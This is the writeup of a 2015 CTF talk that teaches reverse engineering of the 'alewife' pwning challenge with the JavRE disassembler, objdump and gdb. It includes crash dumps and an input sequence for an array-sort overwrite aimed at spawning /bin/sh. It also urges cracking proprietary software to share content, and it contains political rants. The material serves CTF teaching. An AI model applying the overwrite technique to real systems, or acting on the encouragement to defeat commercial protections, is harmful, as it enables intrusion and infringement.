by Javantea aka. Joel R. Voss
jvoss@altsci.com
Neg9
Mar 26, 2015
For a talk at UW Batman's Kitchen CTF team April 8, 2015
Video
(Unfortunately due to technical difficulty there is no audio for this. An audio track will be added in the future but until then apologies.)
My PGP key fingerprint is at the top of every slide. Write it down so that you can sign it later. Secure encryption allows us to communicate privately. If you think we don't need to communicate privately, please zip the contents of your inbox, seed a torrent, and post the magnet to pastebin press release style.
This talk uses strong language because it is necessary to convey the seriousness of this issue. If you are going to be offended, stop now and learn to not be offended.
JavRE can be downloaded here (get the git version):
https://www.altsci.com/concepts/javre/
Shortened: sono.us/javre
If you don't know this, you need to learn234. This talk is for hackers and programmers.
If your friends are forcing you to watch this talk and you don't understand anything, let me suggest reading my DNSSEC research which is much more accessible.
Shortened: sono.us/dnssec
If you're looking for a much easier tutorial on reverse engineering using JavRE, check out the "Get Started" link on JavRE.
1http://www.paulgraham.com/gba.html
2https://www.google.com/search?q=Kernighan+and+Ritchie&ie=utf-8&oe=utf-8
3http://ian.seyler.me/easy_x86-64/
4http://www.diveintopython.net/getting_to_know_python/index.html
If you think you can do it, go for it. If you hear someone shout out "I got it", that's probably them solving the challenge. It took Falcon and I about 10 hours to solve this1, but you have the solutions available to you.
https://github.com/ctfs/write-ups-2015/tree/master/boston-key-party-2015/pwning/alewife
Shortened: sono.us/alewife
1 We didn't get points because I had other obligations that required my attention.
Everyone wants to know where to start.
Corporations use obfuscation to stop you from doing what you want to do.
Why should corporate greed decide what you do?
Fuck corporations.
Patch the binary if you are going to do dynamic reversing and your target uses anti-debugging.
Use a hex editor.
The two most common anti-debugging techniques in Linux CTF challenges are:
Let's talk about Boston Key Party.
The reason I use Linux instead of Mac OSX or Windows is fairly complex. It's mainly a question of stability and code quality. The code quality of operating systems based on Linux is surprisingly high in comparison to its competitors.
Microsoft does not fix bugs in its programs when people report them. No open source software with a valid maintainer would act this way. If you're this far, you are probably ready to use Linux full time.
Abandon Microsoft.
It just happens to make it possible to run CTF challenges without using a virtual machine. This makes the system of dynamic reverse engineering that much easier. Take care though because using this method to reverse engineer sophisticated malware or untrusted software may result in the compromise of your system. How do you make good choices about this? Do you think the program has the capability of exploiting a vulnerability in your system?
What about these shells?
Array Ops :
-:
--:
*:
:1 -:1 0 :1 -:2 --:0 *:
**:
***:
i:
ii:
iii:
s: ss: sss:
# Create a new big buffer. 1 1 # Get to the asterisk shell (the fourth shell) 1 2 x # Fill the big buffer with 200 junk values. 1 200 3123 3123 3123 3123 3123 3123 ... # Convert big array to short array. 1 5 x 2 # Sort the array (vulnerable). 2 2 x 3 # Remove one integer from the full array. 2 2 x 4 # Write one 8-byte integer (the value that goes at that address). 2 2 x 1 1 value # Run the print function that we have just overwritten with puts. 2 4 x
It turns out that one of these shells has a vulnerability. How did we find it? We just mucked around until it crashed. This is one of the cardinal rules of hacking:
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401421 in ?? ()
(gdb) bt
#0 0x0000000000401421 in ?? ()
#1 0x0000000000401994 in ?? ()
#2 0x00007ffff7a59db5 in __libc_start_main (main=0x4017e1, argc=1, argv=0x7fffffffe658, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe648) at libc-start.c:285
#3 0x0000000000400839 in ?? ()
(gdb) x/i $rip
=> 0x401421: mov %rax,(%rbx)
(gdb) i r rax
rax 0x9988776655443322 -7383520307673025758
(gdb) i r rbx
rbx 0x4141414142424242 4702111234491826754
It's super effective! So now that you can overwrite 8 bytes, how do you get your remote code execution?
Programming and hacking require testing. If you don't test, you are hobbling yourself. Test!
Sometimes you have enough to make it work on the first try.
Sometimes you end up automating gcc so that you can make it work.
python javre/disasm1.py -v array >array.jav
Step 1: Find where you want to start reversing.
If you know what's going on, start there, go to step 4.
If you don't know what's going on, start at entry point.
objdump -x array
...
start address 0x0000000000400810
...
Easy enough?
Step 2: Find main()
If you have a normal libc, the entry looks like this:
40081f: MOV R8, 0x402390 ; 400826: MOV RCX, 0x402320 ; 40082d: MOV RDI, 0x4017e1 ; main() 400834: CALL 400780 <__libc_start_main> 400839: HLT ;
libc_start_main is a simple function that calls main().
See there, it's the first argument to libc_start main.
The first argument of a function call goes into RDI on x86-64.
Step 3: Label this function()
Easy enough, name it so that you can understand functions that call it.
int main(int argc, char **argv) { // ... code here ... return 0; }
Step 4: Find out what's going on by looking at calls.
Note any calls that main()
makes.
On 401804
you should see a call to write
.
write()
is a C function.
It's pretty obvious what's going on here.
On 40180e
you see a call to an unnamed function.
This is less obvious, but the argument is obviously ": "
.
Take a guess at what it does.
4017f0: MOV EDX, 0xa ; '\n' 4017f5: MOV ESI, 0x40242e ; 'Array Ops\n' 4017fa: MOV EDI, 0x1 ; '\x01' 4017ff: MOV EAX, 0x0 ; EAX = 0x0; ; write(STDOUT_FILENO, "Array Ops\n", 10); 401804: CALL 400720 <write> 401809: MOV EDI, 0x402439 ; ': ' ; input_getter(": "); 40180e: CALL 400906 <input_getter>
Step 5: Take a look at the if statements below.
The if statements are deciding how the program works.
Go to step 3.
This is all we had to reverse engineer to find the shells and the vulnerability.
401813: MOV [RBP-0x1], AL ; [RBP-0x1] = AL; 401816: MOVZX EAX, BYTE [RBP-0x1] ; EAX = RBP-0x1[0] 40181a: CMP EAX, 0x2 ; 40181d: JZ 0x401957 ; if(EAX != 0x2) { 401823: CMP EAX, 0x2 ; 401826: JG 0x401832 ; if(EAX <= 0x2) { 401828: CMP EAX, 0x1 ; 40182b: JZ 0x401849 ; if(EAX != 0x1) { 40182d: JMP 0x401ab2 ; goto ; }
Step 6: Find out what the function does, label it, and grab any keys.
At this point you need to understand what is going on.
In alewife, we find the shells.
We took a look at each function to make sure there weren't any obvious vulnerabilities.
We found nothing but innocent crashes.
Step 7: Use dynamic reversing
Crash the program and look at the way it crashes in gdb.
This takes time, but remember that the more you learn about GDB, the better a programmer you'll become.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401421 in ?? ()
(gdb) bt
#0 0x0000000000401421 in ?? ()
#1 0x0000000000401994 in ?? ()
#2 0x00007ffff7a59db5 in __libc_start_main (main=0x4017e1, argc=1, argv=0x7fffffffe658, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe648) at libc-start.c:285
#3 0x0000000000400839 in ?? ()
(gdb) x/i $rip
=> 0x401421: mov %rax,(%rbx)
(gdb) i r rax
rax 0x9988776655443322 -7383520307673025758
(gdb) i r rbx
rbx 0x4141414142424242 4702111234491826754
Step 8: Write a program to automatically exploit the vulns.
Exploit the program, get remote code execution.
This can't be done easily by hand, but it can be done.
system
./bin/sh
.system("/bin/sh")
.
http://hyperboleandahalf.blogspot.com/2010/06/this-is-why-ill-never-be-adult.html
Once you've gotten code execution on Alewife, you know what you need to know to reverse engineer proprietary corporate software.
Does that sound like too much work when you could just pirate the content instead? Of course it does. But if you actually want to pay for the content you consume, reverse engineering makes it possible for you to enjoy your content as much as a pirate enjoys their content. And remember: hack it once and everyone gets all the content. If someone reverse engineers a piece of software and releases the tool, everyone benefits, even those who didn't reverse engineer the software.
This talk: https://www.altsci.com/concepts/javre/talk/
The paper: https://www.altsci.com/concepts/javre/paper/
Shortened: http://sono.us/retalk
I am Javantea, I've been hacking for 12 years. I no longer work in the security industry. I've dedicated my life to science and promotion of philosophy and logic. I still have fun.
Greetz: Falcon, Neg9, h0tb0x
, Melody, enferex, the Black Lodge, Ada's Technical Bookstore, Hushcon, Toorcon, and Leviathan Security
This talk wouldn't wouldn't have happened if not for the dedication of a small group of people and the community at large. Support your local hackers.
I am also willing to take any questions listeners have about my latest publications:
CSRF in Realms Wiki
Remote Code Execution in Realms Wiki install.sh
Enumerating DNSSEC NSEC and NSEC3 Records
The NSA has been spying on American people and the world for years. They've been hacking world leaders and random people alike with no respect for justice. They aren't making us safer, they're making us less safe. It's our duty to remove this unwarranted wiretap from the NSA and the backdoors they've put into our hardware. If we don't stop them from snooping and hacking us one way or another, they're going to make dissent impossible.
Resistance against a tyrannical government is the duty of every patriot.
/
#